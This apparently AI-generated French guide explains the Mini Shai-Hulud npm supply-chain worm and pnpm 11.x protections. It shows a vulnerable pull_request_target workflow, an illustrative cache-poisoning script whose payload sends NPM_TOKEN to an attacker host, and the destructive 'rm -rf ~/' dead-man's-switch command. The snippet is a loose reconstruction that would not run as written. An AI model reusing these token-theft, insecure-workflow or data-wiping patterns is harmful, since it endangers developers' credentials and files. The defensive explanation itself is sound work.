F
Fireship
#npm#supply chain attack#GitHub Actions

Attaque par chaîne d'approvisionnement npm : Comprendre et prévenir le ver Mini Shai-Hulud

Découvrez l'attaque sophistiquée du ver Mini Shai-Hulud sur les paquets npm de TanStack, Mistral AI et UiPath. Apprenez comment cette vulnérabilité a exploité GitHub Actions et les mesures de protection avec pnpm 11.x.

5 min de lectureGuide IA

Attaque par chaîne d'approvisionnement npm : Comprendre et prévenir le ver Mini Shai-Hulud

Introduction

L'attaque par chaîne d'approvisionnement du ver Mini Shai-Hulud sur les paquets npm de TanStack, Mistral AI et UiPath a mis en lumière des vulnérabilités critiques dans les processus de publication de logiciels open source. Cet incident démontre l'importance de sécuriser chaque maillon de la chaîne de livraison logicielle, de la configuration CI/CD à la gestion des dépendances, pour protéger les projets contre les compromissions sophistiquées.

Précis de configuration

Élément Version / Lien
Langage / Runtime Node.js (pour npm, version 22+ requise pour pnpm 11.x), Python (pour PyPI)
Librairie principale npm (registre npmjs.com), pnpm (version 11.x ou supérieure recommandée)
APIs requises GitHub Actions, npm Registry, PyPI Registry
Clés / credentials nécessaires Tokens OIDC (OpenID Connect), Tokens de publication npm, GitHub Personal Access Tokens (PATs)

Guide étape par étape

Guide étape par étape

Étape 1 — Comprendre le mécanisme d'attaque via GitHub Actions

L'attaque a exploité une configuration spécifique de GitHub Actions, le déclencheur pull_request_target. Contrairement au déclencheur pull_request standard, pull_request_target exécute le workflow dans le contexte du dépôt cible (main), avec toutes ses permissions, même si la pull request provient d'un fork externe. Cela a permis au code malveillant d'accéder aux secrets du dépôt principal.

name: Publish # Nom du workflow
on:
  pull_request_target: # Déclencheur vulnérable : exécute le workflow dans le contexte du dépôt cible
    types: [opened, synchronize, reopened] # Types d'événements qui déclenchent le workflow
  workflow_dispatch: # Permet de déclencher manuellement le workflow
permissions:
  contents: write # Permissions d'écriture sur le contenu du dépôt
  id-token: write # Permissions d'écriture pour les tokens OIDC

Étape 2 — Exploitation du cache CI/CD

Une fois le workflow déclenché, le code malveillant, injecté via une pull request, a pu s'exécuter avec les permissions du dépôt principal. Il a ensuite écrit un fichier empoisonné dans le cache partagé du serveur CI/CD, qui est réutilisé entre les différentes étapes du workflow. Ce fichier a été conçu pour exfiltrer le token de publication npm et l'utiliser pour publier des versions compromises des paquets.

// Fichier malveillant injecté, par exemple dans vite_setup.mjs
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';

const pnpmStore = path.join(os.homedir(), '.local/share/pnpm/store/v6');
fs.mkdirSync(pnpmStore, { recursive: true }); // Crée le répertoire du cache pnpm si inexistant

const payload = `
const { NPM_TOKEN, GITHUB_TOKEN } = process.env; // Accède aux variables d'environnement
if (NPM_TOKEN) {
  // Exfiltre le token NPM vers un serveur contrôlé par l'attaquant
  require('https://t.sh-hulud.exfil?t=' + NPM_TOKEN);
}
`;
// Écrit le payload malveillant dans le cache pnpm
fs.writeFileSync(path.join(pnpmStore, 'router_init.js'), payload);

// Le workflow GitHub Actions utilise ensuite ce cache
// Exemple de restauration du cache dans le workflow, qui chargerait le fichier malveillant :
// - name: Restore pnpm cache
//   uses: actions/cache@v4
//   with:
//     path: ~/.local/share/pnpm/store
//     key: pnpm-store-${{ runner.os }}-${{ hashFiles('package.json') }}
//     restore-keys: |
//       pnpm-store-${{ runner.os }}-

Étape 3 — Propagation et persistance du malware

Après avoir obtenu le token de publication npm, le ver a publié des versions compromises de paquets TanStack. Ces paquets, une fois installés par d'autres développeurs, ont permis au malware de se propager en scannant les systèmes pour d'autres tokens de publication et en publiant de nouvelles versions empoisonnées. Le ver a également intégré un "dead-man's switch" et des mécanismes de persistance dans les environnements de développement (comme VS Code) pour se réexécuter même après la désinstallation des paquets infectés.

# Commande exécutée par le "dead-man's switch" si le token GitHub volé est révoqué
rm -rf ~/ # Supprime récursivement le répertoire personnel de l'utilisateur

Tableaux comparatifs

Tableaux comparatifs

Caractéristique npm (par défaut) pnpm (v11.x avec paramètres par défaut)
Protection contre les attaques de chaîne d'approvisionnement Faible Élevée
Délai d'installation des nouvelles versions (minimumReleaseAge) Aucun 1440 minutes (1 jour) par défaut
Dépendances transitives depuis des sources non fiables (blockExoticSubdeps) Autorisées Bloquées par défaut
Exécution automatique des scripts d'installation (allowBuilds) Autorisée Bloquée par défaut, nécessite une liste blanche
Isolation des installations globales Non isolé Isolé (chaque pnpm add -g a son propre répertoire)
Gestion des tokens de publication Vulnérable aux tokens de longue durée Utilise des tokens de courte durée via OIDC

⚠️ Erreurs fréquentes et pièges

  1. Utilisation non sécurisée de pull_request_target dans GitHub Actions : Ce déclencheur exécute le workflow avec les permissions du dépôt cible, même pour les PR provenant de forks. Si le workflow n'est pas conçu pour gérer du code non fiable, il peut exposer des secrets.
    • Solution : Évitez pull_request_target pour les workflows qui exécutent du code provenant de forks non fiables. Si son utilisation est impérative, assurez-vous que le workflow n'accède à aucun secret ou permission sensible, ou utilisez des étapes de validation strictes avant toute action critique.
  2. Absence de délai pour l'installation de nouvelles versions de paquets : L'installation immédiate de paquets fraîchement publiés augmente le risque d'intégrer des versions compromises avant qu'elles ne soient détectées.
    • Solution : Configurez pnpm avec minimumReleaseAge: 1440 (1 jour) pour retarder l'installation des paquets récents, donnant ainsi le temps aux équipes de sécurité de détecter et de retirer les versions malveillantes.
  3. Autorisation de dépendances transitives depuis des sources non fiables : Les paquets peuvent lister des dépendances qui pointent vers des dépôts Git aléatoires ou des URL de tarball contrôlées par des attaquants.
    • Solution : Activez blockExoticSubdeps dans pnpm pour refuser l'installation de dépendances transitives qui ne proviennent pas d'un registre de paquets configuré et fiable.
  4. Exécution automatique de scripts d'installation : De nombreux malwares npm s'exécutent via des scripts d'installation qui sont lancés automatiquement lors de npm install.
    • Solution : Utilisez pnpm avec la fonctionnalité allowBuilds (gérée via la commande pnpm approve-builds) qui bloque par défaut tous les scripts d'installation. Vous pouvez ensuite explicitement mettre sur liste blanche les paquets dont vous approuvez l'exécution de scripts.
  5. Non-révocation rapide des tokens GitHub volés : Un token GitHub compromis peut être utilisé pour des activités malveillantes, y compris la publication de code.
    • Solution : Surveillez activement l'utilisation de vos tokens GitHub. En cas de compromission, révoquez immédiatement le token. Soyez conscient des "dead-man's switches" qui pourraient être activés par cette révocation et ayez un plan de récupération de données.

Glossaire

OIDC (OpenID Connect) : Une couche d'identité construite sur le protocole OAuth 2.0, permettant aux clients de vérifier l'identité de l'utilisateur final en fonction de l'authentification effectuée par un serveur d'autorisation, et d'obtenir des informations de profil de base sur l'utilisateur.
Supply Chain Attack : Une attaque cybernétique qui cible une organisation en s'introduisant dans sa chaîne d'approvisionnement, souvent en compromettant un fournisseur moins sécurisé ou un composant logiciel tiers.
Dépendance transitive : Une dépendance indirecte d'un projet, c'est-à-dire une bibliothèque ou un module dont dépend une de vos dépendances directes.

Points clés à retenir

Points clés à retenir

  • Les attaques par chaîne d'approvisionnement peuvent contourner les mesures de sécurité traditionnelles comme l'authentification par token de courte durée.
  • Le déclencheur pull_request_target dans GitHub Actions est une vulnérabilité majeure s'il est mal configuré, permettant l'exécution de code malveillant avec des permissions élevées.
  • Le cache CI/CD peut être un vecteur d'attaque pour la persistance et l'exfiltration de secrets.
  • Le ver Mini Shai-Hulud a démontré une capacité de propagation multi-langages (npm vers PyPI) et des techniques de camouflage sophistiquées (forger des commits AI).
  • Les gestionnaires de paquets comme pnpm (version 11.x) offrent des fonctionnalités de sécurité renforcées par défaut (minimumReleaseAge, blockExoticSubdeps, allowBuilds) pour atténuer ces risques.
  • La persistance du malware dans les environnements de développement (VS Code, Claude Code) rend la désinfection complexe.
  • Le "dead-man's switch" est une tactique agressive pour dissuader la révocation des tokens volés, menaçant la suppression de données.
  • Une vigilance constante et l'adoption de pratiques de sécurité robustes sont essentielles pour protéger les projets open source et leurs utilisateurs.

Ressources